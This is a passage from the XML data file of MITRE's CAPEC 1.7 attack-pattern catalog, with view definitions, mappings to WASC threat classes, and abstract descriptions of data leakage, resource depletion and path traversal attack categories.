<?xml version="1.0" encoding="UTF-8"?>

<Attack_Pattern_Catalog Catalog_Name="CAPEC" Catalog_Version="1.7" Catalog_Date="2012-04-25"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:observables="http://capec.mitre.org/observables"
	xsi:noNamespaceSchemaLocation="http://capec.mitre.org/data/xsd/ap_schema_v2.3.xsd">
	<Views>
		<View ID="1000" Name="Mechanism of Attack" Status="Draft">
			<View_Structure>Graph</View_Structure>
			<View_Objective/>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>118<!--Data Leakage Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>119<!--Resource Depletion--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>156<!--Spoofing--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>172<!--Time and State Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>223<!--Probabilistic Techniques--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>225<!--Exploitation of Authentication--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>255<!--Data Structure Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>286<!--Network Reconnaissance--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>436<!--Physical Security Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>403<!--Social Engineering Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>437<!--Supply Chain Attacks--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</View>
		<View ID="2000" Name="Comprehensive CAPEC Dictionary" Status="Draft">
			<View_Structure>Implicit_Slice</View_Structure>
			<View_Objective>
				<Text>This view (slice) covers all the elements in CAPEC.</Text>
			</View_Objective>
			<View_Filter>true()</View_Filter>
		</View>
		<View ID="282" Name="Meta Abstractions" Status="Draft">
			<View_Structure>Implicit_Slice</View_Structure>
			<View_Objective>
				<Text>This view (slice) covers meta abstraction attack patterns.</Text>
			</View_Objective>
			<View_Filter>.//@Pattern_Abstraction='Meta'</View_Filter>
		</View>
		<View ID="283" Name="Standard Abstractions" Status="Draft">
			<View_Structure>Implicit_Slice</View_Structure>
			<View_Objective>
				<Text>This view (slice) covers standard abstraction attack patterns.</Text>
			</View_Objective>
			<View_Filter>.//@Pattern_Abstraction='Standard'</View_Filter>
		</View>
		<View ID="284" Name="Detailed Abstractions" Status="Draft">
			<View_Structure>Implicit_Slice</View_Structure>
			<View_Objective>
				<Text>This view (slice) covers detailed abstraction attack patterns.</Text>
			</View_Objective>
			<View_Filter>.//@Pattern_Abstraction='Detailed'</View_Filter>
		</View>
		<View ID="333" Name="WASC Threat Classification 2.0" Status="Draft">
			<View_Structure>Explicit_Slice</View_Structure>
			<View_Objective>
				<Text>CAPEC nodes in this view (graph) are associated with the WASC Threat
					Classification 2.0.</Text>
			</View_Objective>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>334<!--WASC Threat Classification 2.0 - WASC-01 - Insufficient Authentication--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>335<!--WASC Threat Classification 2.0 - WASC-02 - Insufficient Authorization--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>336<!--WASC Threat Classification 2.0 - WASC-03 - Integer Overflows--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>337<!--WASC Threat Classification 2.0 - WASC-04 - Insufficient Transport Layer Protection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>338<!--WASC Threat Classification 2.0 - WASC-05 - Remote File Inclusion--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>339<!--WASC Threat Classification 2.0 - WASC-06 - Format String--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>340<!--WASC Threat Classification 2.0 - WASC-07 - Buffer Overflow--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>341<!--WASC Threat Classification 2.0 - WASC-08 - Cross-Site Scripting--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>342<!--WASC Threat Classification 2.0 - WASC-09 - Cross-Site Request Forgery--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>343<!--WASC Threat Classification 2.0 - WASC-10 - Denial of Service--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>344<!--WASC Threat Classification 2.0 - WASC-11 - Brute Force--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>345<!--WASC Threat Classification 2.0 - WASC-12 - Content Spoofing--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>346<!--WASC Threat Classification 2.0 - WASC-13 - Information Leakage--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>347<!--WASC Threat Classification 2.0 - WASC-14 - Server Misconfiguration--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>348<!--WASC Threat Classification 2.0 - WASC-15 - Application Misconfiguration--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>349<!--WASC Threat Classification 2.0 - WASC-16 - Directory Indexing--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>350<!--WASC Threat Classification 2.0 - WASC-17 - Improper Filesystem Permissions--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>351<!--WASC Threat Classification 2.0 - WASC-18 - Credential/Session Prediction--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>352<!--WASC Threat Classification 2.0 - WASC-19 - SQL Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>353<!--WASC Threat Classification 2.0 - WASC-20 - Improper Input Handling--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>354<!--WASC Threat Classification 2.0 - WASC-21 - Insufficient Anti-automation--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>355<!--WASC Threat Classification 2.0 - WASC-22 - Improper Output Handling--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>356<!--WASC Threat Classification 2.0 - WASC-23 - XML Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>357<!--WASC Threat Classification 2.0 - WASC-24 - HTTP Request Splitting--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>358<!--WASC Threat Classification 2.0 - WASC-25 - HTTP Response Splitting--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>359<!--WASC Threat Classification 2.0 - WASC-26 - HTTP Request Smuggling--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>360<!--WASC Threat Classification 2.0 - WASC-27 - HTTP Response Smuggling--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>361<!--WASC Threat Classification 2.0 - WASC-28 - Null Byte Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>362<!--WASC Threat Classification 2.0 - WASC-29 - LDAP Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>363<!--WASC Threat Classification 2.0 - WASC-30 - Mail Command Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>364<!--WASC Threat Classification 2.0 - WASC-31 - OS Commanding--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>365<!--WASC Threat Classification 2.0 - WASC-32 - Routing Detour--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>366<!--WASC Threat Classification 2.0 - WASC-33 - Path Traversal--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>367<!--WASC Threat Classification 2.0 - WASC-34 - Predictable Resource Location--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>368<!--WASC Threat Classification 2.0 - WASC-35 - SOAP Array Abuse--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>369<!--WASC Threat Classification 2.0 - WASC-36 - SSI Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>370<!--WASC Threat Classification 2.0 - WASC-37 - Session Fixation--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>371<!--WASC Threat Classification 2.0 - WASC-38 - URL Redirector Abuse--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>372<!--WASC Threat Classification 2.0 - WASC-39 - XPath Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>373<!--WASC Threat Classification 2.0 - WASC-40 - Insufficient Process Validation--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>374<!--WASC Threat Classification 2.0 - WASC-41 - XML Attribute Blowup--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>375<!--WASC Threat Classification 2.0 - WASC-42 - Abuse of Functionality--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>376<!--WASC Threat Classification 2.0 - WASC-43 - XML External Entities--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>377<!--WASC Threat Classification 2.0 - WASC-44 - XML Entity Expansion--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>378<!--WASC Threat Classification 2.0 - WASC-45 - Fingerprinting--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>379<!--WASC Threat Classification 2.0 - WASC-46 - XQuery Injection--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>380<!--WASC Threat Classification 2.0 - WASC-47 - Insufficient Session Expiration--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>381<!--WASC Threat Classification 2.0 - WASC-48 - Insecure Indexing--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>382<!--WASC Threat Classification 2.0 - WASC-49 - Insufficient Password Recovery--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</View>
	</Views>
	<Categories>
		<Category ID="118" Name="Data Leakage Attacks" Status="Draft">
			<Description>
				<Description_Summary>An attacker uses well-formed requests to an application,
					service, or device that results in the inadvertant disclosure of sensitive
					information by exploiting weaknesses in the design or configuration of the
					target resulting in the target revealing more information to an attacker than
					intended. The attacker may collect this information through a variety of methods
					including active querying as well as passive observation. Information may
					include details regarding the configuration or capabilities of the target, clues
					as to the timing or nature of activities, or otherwise sensitive information.
					Often this sort of attack is undertaken in preparation for some other type of
					attack, although the collection of information may be the end goal of the
					attacker in some cases. Information retrieved may aid the attacker in making
					inferences about potential weaknesses, vulnerabilities, or techniques that
					assist the attacker's objectives. Data leaks may come various forms, including
					confidential information stored in inscure directories, or via services that
					provide rich error or diagnostic messages in response to normal
					queries.</Description_Summary>
			</Description>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>404<!--Improper Resource Shutdown or Release--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must have some piece of sensitive information that can
						collected by an attacker.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>The attacker must have tools to collect the information from the target. This
					requires a client capable of interacting with the target. For web applications,
					a web browser or tools such as MITM (Man-In-the-Middle) Proxy.</Text>
			</Resources_Required>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>346<!--WASC Threat Classification 2.0 - WASC-13 - Information Leakage--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="119" Name="Resource Depletion" Status="Draft">
			<Description>
				<Description_Summary>An attacker depletes a resource to the point that the target's
					functionality is affected. Virtually any resource necessary for the target's
					operation can be targeted in this attack. The result of a successful resource
					depletion attack is usually the degrading or denial of one or more services
					offered by the target. Resources required will depend on the nature of the
					resource to be depleted, the amount of the resource the target has access to,
					and other mitigating circumstances such as the target's ability to shift load,
					detect and mitigate resource depletion attacks, or acquire additional resources
					to deal with the depletion. The more protected the resource and the greater the
					quantity of it that must be consumed, the more resources the attacker will need
					to have at their disposal.</Description_Summary>
			</Description>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>404<!--Improper Resource Shutdown or Release--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must rely on a vulnerable resource for its operations and be
						unable to replace it in a reasonable amount of time if it is
						unavailable.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must have the ability to consume, destroy, or disrupt a
						resource required for normal operation of the target.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>In order to deplete the target's resources the attacker must interact with the
					target in a programmatic way. Depending on the nature of the resource the
					attacker may need a client or script capable of making repeated requests over a
					network, or the ability to craft specific requests, such as an HTTP request
					containing thousands of slashes. If the attacker has some privileges on the
					system the required resource will likely be the ability to run a binary or
					upload a compiled exploit, or write and execute a script or program that
					consumes resources. Depending on the defenses of the targeted system, the
					attacker may need access to extensive computational and network resources in
					order to overwhelm the target.</Text>
			</Resources_Required>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>343<!--WASC Threat Classification 2.0 - WASC-10 - Denial of Service--></Relationship_Target_ID>
				</Relationship>
			</Relationships>
		</Category>
		<Category ID="126" Name="Path Traversal" Status="Draft">
			<Description>
				<Description_Summary>An attacker uses path manipulation methods to exploit
					insufficient input validation of a target to obtain access to data that should
					be not be retrievable by ordinary well formed requests. A typical variety of
					this attack involves specifiying a path to a desired file together with
					dot-dot-slash characters, resulting in the file access API or function
					traversing out of the intended directory structure and into the root file
					system. By replacing or modifying the expected path information the access
					function or API retrieves the file desired by the attacker.These attacks either
					involve the attacker providing a complete path to a targeted file or using
					control characters (e.g. path separators (/ or \) and/or dots (.)) to reach
					desired directories or files.</Description_Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to control the path that is requested of the
						target.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target must fail to adequately sanitize incoming paths</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Resources_Required>
				<Text>The ability to manually manipulate path information either directly through a
					client application relative to the service or application or via a proxy
					application.</Text>
			</Resources_Required>
			<Relationships>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>154<!--Resource Location Attacks--></Relationship_Target_ID>
				</Relationship>
				<Relationship>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>366<!--WASC Threat Classification 2.0 - WASC-33 - Path Traversal--></Relationship_Target_ID>
				</Relationship>
